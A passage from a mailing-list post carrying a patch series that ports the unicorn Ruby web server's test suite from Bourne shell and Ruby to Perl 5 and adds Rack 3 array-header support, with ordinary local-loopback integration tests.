0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-06-05 10:32 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 4179 bytes --]
Still a lot more work to do, but at least socat is no longer a
test dependency. Perl5 is installed on far more systems than
socat.
Ruby introduces breaking changes every year and I can't trust
tests to work as they were originally intended, anymore.
Perl 5 doesn't have perfect backwards compatibility, either; but
it's the least bad of any widely-installed scripting language.
Note: that 23/23 introduces a subtle bugfix which changes
behavior for systemd users
Patches are attached to reduce load on SMTP servers.
Some more patches to come as I deal with Ruby 3.x deprecation
warnings :<
Eric Wong (23):
switch unit/test_response.rb to Perl 5 integration test
support rack 3 multi-value headers
port t0018-write-on-close.sh to Perl 5
port t0000-http-basic.sh to Perl 5
port t0002-parser-error.sh to Perl 5
t/integration.t: use start_req to simplify test slighly
port t0011-active-unix-socket.sh to Perl 5
port t0100-rack-input-tests.sh to Perl 5
tests: use autodie to simplify error checking
port t0019-max_header_len.sh to Perl 5
test_exec: drop sd_listen_fds emulation test
test_exec: drop test_basic and test_config_ru_alt_path
tests: check_stderr consistently in Perl 5 tests
tests: consistent tcp_start and unix_start across Perl 5 tests
port t9000-preread-input.sh to Perl 5
port t/t0116-client_body_buffer_size.sh to Perl 5
tests: get rid of sha1sum.rb and rsha1() sh function
early_hints supports Rack 3 array headers
test_server: drop early_hints test
t/integration.t: switch PUT tests to MD5, reuse buffers
tests: move test_upload.rb tests to t/integration.t
drop redundant IO#close_on_exec=false calls
LISTEN_FDS-inherited sockets are immortal across SIGHUP
GNUmakefile | 7 +-
lib/unicorn/http_server.rb | 12 +-
t/README | 21 +-
t/active-unix-socket.t | 113 +++++++
t/bin/content-md5-put | 36 ---
t/bin/sha1sum.rb | 17 --
t/{t0116.ru => client_body_buffer_size.ru} | 2 -
t/client_body_buffer_size.t | 82 ++++++
t/integration.ru | 114 +++++++
t/integration.t | 326 +++++++++++++++++++++
t/lib.perl | 217 ++++++++++++++
t/preread_input.ru | 21 +-
t/rack-input-tests.ru | 21 --
t/t0000-http-basic.sh | 50 ----
t/t0002-parser-error.sh | 94 ------
t/t0011-active-unix-socket.sh | 79 -----
t/t0018-write-on-close.sh | 23 --
t/t0019-max_header_len.sh | 49 ----
t/t0100-rack-input-tests.sh | 124 --------
t/t0116-client_body_buffer_size.sh | 80 -----
t/t9000-preread-input.sh | 48 ---
t/test-lib.sh | 4 -
t/write-on-close.ru | 11 -
test/exec/test_exec.rb | 57 ----
test/unit/test_response.rb | 111 -------
test/unit/test_server.rb | 31 --
test/unit/test_upload.rb | 301 -------------------
27 files changed, 891 insertions(+), 1160 deletions(-)
create mode 100644 t/active-unix-socket.t
delete mode 100755 t/bin/content-md5-put
delete mode 100755 t/bin/sha1sum.rb
rename t/{t0116.ru => client_body_buffer_size.ru} (82%)
create mode 100644 t/client_body_buffer_size.t
create mode 100644 t/integration.ru
create mode 100644 t/integration.t
create mode 100644 t/lib.perl
delete mode 100644 t/rack-input-tests.ru
delete mode 100755 t/t0000-http-basic.sh
delete mode 100755 t/t0002-parser-error.sh
delete mode 100755 t/t0011-active-unix-socket.sh
delete mode 100755 t/t0018-write-on-close.sh
delete mode 100755 t/t0019-max_header_len.sh
delete mode 100755 t/t0100-rack-input-tests.sh
delete mode 100755 t/t0116-client_body_buffer_size.sh
delete mode 100755 t/t9000-preread-input.sh
delete mode 100644 t/write-on-close.ru
delete mode 100644 test/unit/test_response.rb
delete mode 100644 test/unit/test_upload.rb
[-- Attachment #2: 0001-switch-unit-test_response.rb-to-Perl-5-integration-t.patch --]
[-- Type: text/x-diff, Size: 15667 bytes --]
From 086e397abc0126556af24df77a976671294df2ee Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:30 +0000
Subject: [PATCH 01/23] switch unit/test_response.rb to Perl 5 integration test
http_response_write may benefit from API changes for Rack 3
support.
Since there's no benefit I can see from using a unit test,
switch to an integration test to avoid having to maintain the
unit test if our internal http_response_write method changes.
Of course, I can't trust tests written in Ruby since I've had to
put up with a constant stream of incompatibilities over the past
two decades :< Perl is more widely installed than socat[1], and
nearly all the Perl I wrote 20 years ago still works
unmodified today.
[1] the rarest dependency of the Bourne shell integration tests
---
GNUmakefile | 5 +-
t/README | 24 +++--
t/integration.ru | 38 ++++++++
t/integration.t | 64 +++++++++++++
t/lib.perl | 189 +++++++++++++++++++++++++++++++++++++
test/unit/test_response.rb | 111 ----------------------
6 files changed, 313 insertions(+), 118 deletions(-)
create mode 100644 t/integration.ru
create mode 100644 t/integration.t
create mode 100644 t/lib.perl
delete mode 100644 test/unit/test_response.rb
diff --git a/GNUmakefile b/GNUmakefile
index 0e08ef0..5cca189 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -86,7 +86,7 @@ $(tmp_bin)/%: bin/% | $(tmp_bin)
bins: $(tmp_bins)
t_log := $(T_log) $(T_n_log)
-test: $(T) $(T_n)
+test: $(T) $(T_n) test-prove
@cat $(t_log) | $(MRI) test/aggregate.rb
@$(RM) $(t_log)
@@ -141,6 +141,9 @@ t/random_blob:
test-integration: $(T_sh)
+test-prove:
+ prove -vw
+
check: test-require test test-integration
test-all: check
diff --git a/t/README b/t/README
index 14de559..8a5243e 100644
--- a/t/README
+++ b/t/README
@@ -5,16 +5,24 @@ TCP ports or Unix domain sockets. They're all designed to run
concurrently with other tests to minimize test time, but tests may be
run independently as well.
-We write our tests in Bourne shell because that's what we're
-comfortable writing integration tests with.
+New tests are written in Perl 5 because we need a stable language
+to test real-world behavior and Ruby introduces incompatibilities
+at a far faster rate than Perl 5. Perl is Ruby's older cousin, so
+it should be easy-to-learn for Rubyists.
+
+Old tests are in Bourne shell, but the socat(1) dependency was probably
+too rare compared to Perl 5.
== Requirements
-* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/] (duh!)
+* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/]
+* {Perl 5.14+}[https://www.perl.org/] # your distro should have it
* {GNU make}[https://www.gnu.org/software/make/]
+
+The following requirements will eventually be dropped.
+
* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[https://curl.haxx.se/]
-* standard UNIX shell utilities (Bourne sh, awk, sed, grep, ...)
We do not use bashisms or any non-portable, non-POSIX constructs
in our shell code. We use the "pipefail" option if available and
@@ -26,9 +34,13 @@ with {dash}[http://gondor.apana.org.au/~herbert/dash/] and
To run the entire test suite with 8 tests running at once:
- make -j8
+ make -j8 && prove -vw
+
+To run one individual test (Perl5):
+
+ prove -vw t/integration.t
-To run one individual test:
+To run one individual test (shell):
make t0000-simple-http.sh
diff --git a/t/integration.ru b/t/integration.ru
new file mode 100644
index 0000000..6ef873c
--- /dev/null
+++ b/t/integration.ru
@@ -0,0 +1,38 @@
+#!ruby
+# Copyright (C) unicorn hackers <unicorn-public@80x24.org>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+# this goes for t/integration.t We'll try to put as many tests
+# in here as possible to avoid startup overhead of Ruby.
+
+$orig_rack_200 = nil
+def tweak_status_code
+ $orig_rack_200 = Rack::Utils::HTTP_STATUS_CODES[200]
+ Rack::Utils::HTTP_STATUS_CODES[200] = "HI"
+ [ 200, {}, [] ]
+end
+
+def restore_status_code
+ $orig_rack_200 or return [ 500, {}, [] ]
+ Rack::Utils::HTTP_STATUS_CODES[200] = $orig_rack_200
+ [ 200, {}, [] ]
+end
+
+run(lambda do |env|
+ case env['REQUEST_METHOD']
+ when 'GET'
+ case env['PATH_INFO']
+ when '/rack-2-newline-headers'; [ 200, { 'X-R2' => "a\nb\nc" }, [] ]
+ when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
+ when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
+ end # case PATH_INFO (GET)
+ when 'POST'
+ case env['PATH_INFO']
+ when '/tweak-status-code'; tweak_status_code
+ when '/restore-status-code'; restore_status_code
+ end # case PATH_INFO (POST)
+ # ...
+ when 'PUT'
+ # ...
+ end # case REQUEST_METHOD
+end) # run
diff --git a/t/integration.t b/t/integration.t
new file mode 100644
index 0000000..5569155
--- /dev/null
+++ b/t/integration.t
@@ -0,0 +1,64 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+use v5.14; BEGIN { require './t/lib.perl' };
+my $srv = tcp_server();
+my $t0 = time;
+my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
+
+sub slurp_hdr {
+ my ($c) = @_;
+ local $/ = "\r\n\r\n"; # affects both readline+chomp
+ chomp(my $hdr = readline($c));
+ my ($status, @hdr) = split(/\r\n/, $hdr);
+ diag explain([ $status, \@hdr ]) if $ENV{V};
+ ($status, \@hdr);
+}
+
+my ($c, $status, $hdr);
+
+# response header tests
+$c = tcp_connect($srv);
+print $c "GET /rack-2-newline-headers HTTP/1.0\r\n\r\n" or die $!;
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+my $orig_200_status = $status;
+is_deeply([ grep(/^X-R2: /, @$hdr) ],
+ [ 'X-R2: a', 'X-R2: b', 'X-R2: c' ],
+ 'rack 2 LF-delimited headers supported') or diag(explain($hdr));
+
+SKIP: { # Date header check
+ my @d = grep(/^Date: /i, @$hdr);
+ is(scalar(@d), 1, 'got one date header') or diag(explain(\@d));
+ eval { require HTTP::Date } or skip "HTTP::Date missing: $@", 1;
+ $d[0] =~ s/^Date: //i or die 'BUG: did not strip date: prefix';
+ my $t = HTTP::Date::str2time($d[0]);
+ ok($t >= $t0 && $t > 0 && $t <= time, 'valid date') or
+ diag(explain([$t, $!, \@d]));
+};
+
+# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
+$c = tcp_connect($srv);
+print $c "GET /nil-header-value HTTP/1.0\r\n\r\n" or die $!;
+($status, $hdr) = slurp_hdr($c);
+is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
+ 'nil header value accepted for broken apps') or diag(explain($hdr));
+
+if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
+ $c = tcp_connect($srv);
+ print $c "POST /tweak-status-code HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
+
+ $c = tcp_connect($srv);
+ print $c "POST /restore-status-code HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ is($status, $orig_200_status, 'original status restored');
+}
+
+
+# ... more stuff here
+undef $ar;
+diag slurp("$tmpdir/err.log") if $ENV{V};
+done_testing;
diff --git a/t/lib.perl b/t/lib.perl
new file mode 100644
index 0000000..dd9c6b7
--- /dev/null
+++ b/t/lib.perl
@@ -0,0 +1,189 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@80x24.org>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+package UnicornTest;
+use v5.14;
+use parent qw(Exporter);
+use Test::More;
+use IO::Socket::INET;
+use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
+use File::Temp 0.19 (); # 0.19 for ->newdir
+our ($tmpdir, $errfh);
+our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
+ SEEK_SET);
+
+my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
+$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
+open($errfh, '>>', "$tmpdir/err.log") or die "open: $!";
+
+sub tcp_server {
+ my %opt = (
+ ReuseAddr => 1,
+ Proto => 'tcp',
+ Type => SOCK_STREAM,
+ Listen => SOMAXCONN,
+ Blocking => 0,
+ @_,
+ );
+ eval {
+ die 'IPv4-only' if $ENV{TEST_IPV4_ONLY};
+ require IO::Socket::INET6;
+ IO::Socket::INET6->new(%opt, LocalAddr => '[::1]')
+ } || eval {
+ die 'IPv6-only' if $ENV{TEST_IPV6_ONLY};
+ IO::Socket::INET->new(%opt, LocalAddr => '127.0.0.1')
+ } || BAIL_OUT "failed to create TCP server: $! ($@)";
+}
+
+sub tcp_host_port {
+ my ($s) = @_;
+ my ($h, $p) = ($s->sockhost, $s->sockport);
+ my $ipv4 = $s->sockdomain == AF_INET;
+ if (wantarray) {
+ $ipv4 ? ($h, $p) : ("[$h]", $p);
+ } else {
+ $ipv4 ? "$h:$p" : "[$h]:$p";
+ }
+}
+
+sub tcp_connect {
+ my ($dest, %opt) = @_;
+ my $addr = tcp_host_port($dest);
+ my $s = ref($dest)->new(
+ Proto => 'tcp',
+ Type => SOCK_STREAM,
+ PeerAddr => $addr,
+ %opt,
+ ) or BAIL_OUT "failed to connect to $addr: $!";
+ $s->autoflush(1);
+ $s;
+}
+
+sub slurp {
+ open my $fh, '<', $_[0] or die "open($_[0]): $!";
+ local $/;
+ <$fh>;
+}
+
+sub spawn {
+ my $env = ref($_[0]) eq 'HASH' ? shift : undef;
+ my $opt = ref($_[-1]) eq 'HASH' ? pop : {};
+ my @cmd = @_;
+ my $old = POSIX::SigSet->new;
+ my $set = POSIX::SigSet->new;
+ $set->fillset or die "sigfillset: $!";
+ sigprocmask(SIG_SETMASK, $set, $old) or die "SIG_SETMASK: $!";
+ pipe(my ($r, $w)) or die "pipe: $!";
+ my $pid = fork // die "fork: $!";
+ if ($pid == 0) {
+ close $r;
+ $SIG{__DIE__} = sub {
+ warn(@_);
+ syswrite($w, my $num = $! + 0);
+ _exit(1);
+ };
+
+ # pretend to be systemd (cf. sd_listen_fds(3))
+ my $cfd;
+ for ($cfd = 0; ($cfd < 3) || defined($opt->{$cfd}); $cfd++) {
+ my $io = $opt->{$cfd} // next;
+ my $pfd = fileno($io) // die "fileno($io): $!";
+ if ($pfd == $cfd) {
+ fcntl($io, F_SETFD, 0) // die "F_SETFD: $!";
+ } else {
+ dup2($pfd, $cfd) // die "dup2($pfd, $cfd): $!";
+ }
+ }
+ if (($cfd - 3) > 0) {
+ $env->{LISTEN_PID} = $$;
+ $env->{LISTEN_FDS} = $cfd - 3;
+ }
+
+ if (defined(my $pgid = $opt->{pgid})) {
+ setpgid(0, $pgid) // die "setpgid(0, $pgid): $!";
+ }
+ $SIG{$_} = 'DEFAULT' for grep(!/^__/, keys %SIG);
+ if (defined(my $cd = $opt->{-C})) {
+ chdir $cd // die "chdir($cd): $!";
+ }
+ $old->delset(POSIX::SIGCHLD) or die "sigdelset CHLD: $!";
+ sigprocmask(SIG_SETMASK, $old) or die "SIG_SETMASK: ~CHLD: $!";
+ @ENV{keys %$env} = values(%$env) if $env;
+ exec { $cmd[0] } @cmd;
+ die "exec @cmd: $!";
+ }
+ close $w;
+ sigprocmask(SIG_SETMASK, $old) or die "SIG_SETMASK(old): $!";
+ if (my $cerrnum = do { local $/, <$r> }) {
+ $! = $cerrnum;
+ die "@cmd PID=$pid died: $!";
+ }
+ $pid;
+}
+
+sub which {
+ my ($file) = @_;
+ return $file if index($file, '/') >= 0;
+ for my $p (split(/:/, $ENV{PATH})) {
+ $p .= "/$file";
+ return $p if -x $p;
+ }
+ undef;
+}
+
+# returns an AutoReap object
+sub unicorn {
+ my %env;
+ if (ref($_[0]) eq 'HASH') {
+ my $e = shift;
+ %env = %$e;
+ }
+ my @args = @_;
+ push(@args, {}) if ref($args[-1]) ne 'HASH';
+ $args[-1]->{2} //= $errfh; # stderr default
+
+ state $ruby = which($ENV{RUBY} // 'ruby');
+ state $lib = File::Spec->rel2abs('lib');
+ state $ver = $ENV{TEST_RUBY_VERSION} // `$ruby -e 'print RUBY_VERSION'`;
+ state $eng = $ENV{TEST_RUBY_ENGINE} // `$ruby -e 'print RUBY_ENGINE'`;
+ state $ext = File::Spec->rel2abs("test/$eng-$ver/ext/unicorn_http");
+ state $exe = File::Spec->rel2abs('bin/unicorn');
+ my $pid = spawn(\%env, $ruby, '-I', $lib, '-I', $ext, $exe, @args);
+ UnicornTest::AutoReap->new($pid);
+}
+
+# automatically kill + reap children when this goes out-of-scope
+package UnicornTest::AutoReap;
+use v5.14;
+
+sub new {
+ my (undef, $pid) = @_;
+ bless { pid => $pid, owner => $$ }, __PACKAGE__
+}
+
+sub kill {
+ my ($self, $sig) = @_;
+ CORE::kill($sig // 'TERM', $self->{pid});
+}
+
+sub join {
+ my ($self, $sig) = @_;
+ my $pid = delete $self->{pid} or return;
+ CORE::kill($sig, $pid) if defined $sig;
+ my $ret = waitpid($pid, 0) // die "waitpid($pid): $!";
+ $ret == $pid or die "BUG: waitpid($pid) != $ret";
+}
+
+sub DESTROY {
+ my ($self) = @_;
+ return if $self->{owner} != $$;
+ $self->join('TERM');
+}
+
+package main; # inject ourselves into the t/*.t script
+UnicornTest->import;
+Test::More->import;
+# try to ensure ->DESTROY fires:
+$SIG{TERM} = sub { exit(15 + 128) };
+$SIG{INT} = sub { exit(2 + 128) };
+1;
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
deleted file mode 100644
index fbe433f..0000000
--- a/test/unit/test_response.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-# -*- encoding: binary -*-
-
-# Copyright (c) 2005 Zed A. Shaw
-# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv2+ (GPLv3+ preferred)
-#
-# Additional work donated by contributors. See git history
-# for more information.
-
-require './test/test_helper'
-require 'time'
-
-include Unicorn
-
-class ResponseTest < Test::Unit::TestCase
- include Unicorn::HttpResponse
-
- def test_httpdate
- before = Time.now.to_i - 1
- str = httpdate
- assert_kind_of(String, str)
- middle = Time.parse(str).to_i
- after = Time.now.to_i
- assert before <= middle
- assert middle <= after
- end
-
- def test_response_headers
- out = StringIO.new
- http_response_write(out, 200, {"X-Whatever" => "stuff"}, ["cool"])
- assert ! out.closed?
-
- assert out.length > 0, "output didn't have data"
- end
-
- # ref: <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
- def test_response_header_broken_nil
- out = StringIO.new
- http_response_write(out, 200, {"Nil" => nil}, %w(hysterical raisin))
- assert ! out.closed?
-
- assert_match %r{^Nil: \r\n}sm, out.string, 'nil accepted'
- end
-
- def test_response_string_status
- out = StringIO.new
- http_response_write(out,'200', {}, [])
- assert ! out.closed?
- assert out.length > 0, "output didn't have data"
- end
-
- def test_response_200
- io = StringIO.new
- http_response_write(io, 200, {}, [])
- assert ! io.closed?
- assert io.length > 0, "output didn't have data"
- end
-
- def test_response_with_default_reason
- code = 400
- io = StringIO.new
- http_response_write(io, code, {}, [])
- assert ! io.closed?
- lines = io.string.split(/\r\n/)
- assert_match(/.* Bad Request$/, lines.first,
- "wrong default reason phrase")
- end
-
- def test_rack_multivalue_headers
- out = StringIO.new
- http_response_write(out,200, {"X-Whatever" => "stuff\nbleh"}, [])
- assert ! out.closed?
- assert_match(/^X-Whatever: stuff\r\nX-Whatever: bleh\r\n/, out.string)
- end
-
- # Even though Rack explicitly forbids "Status" in the header hash,
- # some broken clients still rely on it
- def test_status_header_added
- out = StringIO.new
- http_response_write(out,200, {"X-Whatever" => "stuff"}, [])
- assert ! out.closed?
- end
-
- def test_unknown_status_pass_through
- out = StringIO.new
- http_response_write(out,"666 I AM THE BEAST", {}, [] )
- assert ! out.closed?
- headers = out.string.split(/\r\n\r\n/).first.split(/\r\n/)
- assert %r{\AHTTP/\d\.\d 666 I AM THE BEAST\z}.match(headers[0])
- end
-
- def test_modified_rack_http_status_codes_late
- r, w = IO.pipe
- pid = fork do
- r.close
- # Users may want to globally override the status text associated
- # with an HTTP status code in their app.
- Rack::Utils::HTTP_STATUS_CODES[200] = "HI"
- http_response_write(w, 200, {}, [])
- w.close
- end
- w.close
- assert_equal "HTTP/1.1 200 HI\r\n", r.gets
- r.read # just drain the pipe
- pid, status = Process.waitpid2(pid)
- assert status.success?, status.inspect
- ensure
- r.close
- w.close unless w.closed?
- end
-end
[-- Attachment #3: 0002-support-rack-3-multi-value-headers.patch --]
[-- Type: text/x-diff, Size: 1710 bytes --]
From ea0559c700fa029044464de4bd572662c10b7273 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:31 +0000
Subject: [PATCH 02/23] support rack 3 multi-value headers
The first step in adding Rack 3 support. Rack supports
multi-value headers via array rather than newlines.
Tested-by: Martin Posthumus <martin.posthumus@gmail.com>
Link: https://yhbt.net/unicorn-public/7c851d8a-bc57-7df8-3240-2f5ab831c47c@gmail.com/
---
t/integration.ru | 1 +
t/integration.t | 9 +++++++++
2 files changed, 10 insertions(+)
diff --git a/t/integration.ru b/t/integration.ru
index 6ef873c..5183217 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -23,6 +23,7 @@ def restore_status_code
when 'GET'
case env['PATH_INFO']
when '/rack-2-newline-headers'; [ 200, { 'X-R2' => "a\nb\nc" }, [] ]
+ when '/rack-3-array-headers'; [ 200, { 'x-r3' => %w(a b c) }, [] ]
when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
end # case PATH_INFO (GET)
diff --git a/t/integration.t b/t/integration.t
index 5569155..e876c71 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -38,6 +38,15 @@ SKIP: { # Date header check
diag(explain([$t, $!, \@d]));
};
+
+$c = tcp_connect($srv);
+print $c "GET /rack-3-array-headers HTTP/1.0\r\n\r\n" or die $!;
+($status, $hdr) = slurp_hdr($c);
+is_deeply([ grep(/^x-r3: /, @$hdr) ],
+ [ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
+ 'rack 3 array headers supported') or diag(explain($hdr));
+
+
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
$c = tcp_connect($srv);
print $c "GET /nil-header-value HTTP/1.0\r\n\r\n" or die $!;
[-- Attachment #4: 0003-port-t0018-write-on-close.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4091 bytes --]
From 295a6c616f8840bc04617a377c04c3422aeebddc Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:32 +0000
Subject: [PATCH 03/23] port t0018-write-on-close.sh to Perl 5
This doesn't require restarting, so it's a perfect candidate.
---
t/integration.ru | 15 +++++++++++++++
t/integration.t | 14 +++++++++++++-
t/lib.perl | 2 +-
t/t0018-write-on-close.sh | 23 -----------------------
t/write-on-close.ru | 11 -----------
5 files changed, 29 insertions(+), 36 deletions(-)
delete mode 100755 t/t0018-write-on-close.sh
delete mode 100644 t/write-on-close.ru
diff --git a/t/integration.ru b/t/integration.ru
index 5183217..12f5d48 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -18,6 +18,20 @@ def restore_status_code
[ 200, {}, [] ]
end
+class WriteOnClose
+ def each(&block)
+ @callback = block
+ end
+
+ def close
+ @callback.call "7\r\nGoodbye\r\n0\r\n\r\n"
+ end
+end
+
+def write_on_close
+ [ 200, { 'transfer-encoding' => 'chunked' }, WriteOnClose.new ]
+end
+
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -26,6 +40,7 @@ def restore_status_code
when '/rack-3-array-headers'; [ 200, { 'x-r3' => %w(a b c) }, [] ]
when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
+ when '/write_on_close'; write_on_close
end # case PATH_INFO (GET)
when 'POST'
case env['PATH_INFO']
diff --git a/t/integration.t b/t/integration.t
index e876c71..3ab5c90 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -4,6 +4,7 @@
use v5.14; BEGIN { require './t/lib.perl' };
my $srv = tcp_server();
+my $host_port = tcp_host_port($srv);
my $t0 = time;
my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
@@ -66,8 +67,19 @@ if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
is($status, $orig_200_status, 'original status restored');
}
+SKIP: {
+ eval { require HTTP::Tiny } or skip "HTTP::Tiny missing: $@", 1;
+ my $ht = HTTP::Tiny->new;
+ my $res = $ht->get("http://$host_port/write_on_close");
+ is($res->{content}, 'Goodbye', 'write-on-close body read');
+}
# ... more stuff here
undef $ar;
-diag slurp("$tmpdir/err.log") if $ENV{V};
+my @log = slurp("$tmpdir/err.log");
+diag("@log") if $ENV{V};
+my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
+is_deeply(\@err, [], 'no unexpected errors in stderr');
+is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+
done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index dd9c6b7..12deaf8 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,7 +10,7 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET);
+ SEEK_SET tcp_host_port);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
diff --git a/t/t0018-write-on-close.sh b/t/t0018-write-on-close.sh
deleted file mode 100755
index 3afefea..0000000
--- a/t/t0018-write-on-close.sh
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 4 "write-on-close tests for funky response-bodies"
-
-t_begin "setup and start" && {
- unicorn_setup
- unicorn -D -c $unicorn_config write-on-close.ru
- unicorn_wait_start
-}
-
-t_begin "write-on-close response body succeeds" && {
- test xGoodbye = x"$(curl -sSf http://$listen/)"
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && {
- check_stderr
-}
-
-t_done
diff --git a/t/write-on-close.ru b/t/write-on-close.ru
deleted file mode 100644
index 725c4d6..0000000
--- a/t/write-on-close.ru
+++ /dev/null
@@ -1,11 +0,0 @@
-class WriteOnClose
- def each(&block)
- @callback = block
- end
-
- def close
- @callback.call "7\r\nGoodbye\r\n0\r\n\r\n"
- end
-end
-use Rack::ContentType, "text/plain"
-run(lambda { |_| [ 200, { 'transfer-encoding' => 'chunked' }, WriteOnClose.new ] })
[-- Attachment #5: 0004-port-t0000-http-basic.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3372 bytes --]
From 1bb4362cee167ac7aeec910d3f52419e391f1e61 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:33 +0000
Subject: [PATCH 04/23] port t0000-http-basic.sh to Perl 5
One more socat dependency down...
---
t/integration.ru | 16 ++++++++++++++
t/integration.t | 11 ++++++++++
t/t0000-http-basic.sh | 50 -------------------------------------------
3 files changed, 27 insertions(+), 50 deletions(-)
delete mode 100755 t/t0000-http-basic.sh
diff --git a/t/integration.ru b/t/integration.ru
index 12f5d48..c0bef99 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -32,6 +32,21 @@ def write_on_close
[ 200, { 'transfer-encoding' => 'chunked' }, WriteOnClose.new ]
end
+def env_dump(env)
+ require 'json'
+ h = {}
+ env.each do |k,v|
+ case v
+ when String, Integer, true, false; h[k] = v
+ else
+ case k
+ when 'rack.version', 'rack.after_reply'; h[k] = v
+ end
+ end
+ end
+ h.to_json
+end
+
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -40,6 +55,7 @@ def write_on_close
when '/rack-3-array-headers'; [ 200, { 'x-r3' => %w(a b c) }, [] ]
when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
+ when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 3ab5c90..ee22e7e 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -47,6 +47,17 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
'rack 3 array headers supported') or diag(explain($hdr));
+SKIP: {
+ eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
+ $c = tcp_connect($srv);
+ print $c "GET /env_dump\r\n" or die $!;
+ my $json = do { local $/; readline($c) };
+ unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
+ unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
+ my $env = JSON::PP->new->decode($json);
+ is(ref($env), 'HASH', 'JSON decoded body to hashref');
+ is($env->{SERVER_PROTOCOL}, 'HTTP/0.9', 'SERVER_PROTOCOL is 0.9');
+}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
$c = tcp_connect($srv);
diff --git a/t/t0000-http-basic.sh b/t/t0000-http-basic.sh
deleted file mode 100755
index 8ab58ac..0000000
--- a/t/t0000-http-basic.sh
+++ /dev/null
@@ -1,50 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 8 "simple HTTP connection tests"
-
-t_begin "setup and start" && {
- unicorn_setup
- unicorn -D -c $unicorn_config env.ru
- unicorn_wait_start
-}
-
-t_begin "single request" && {
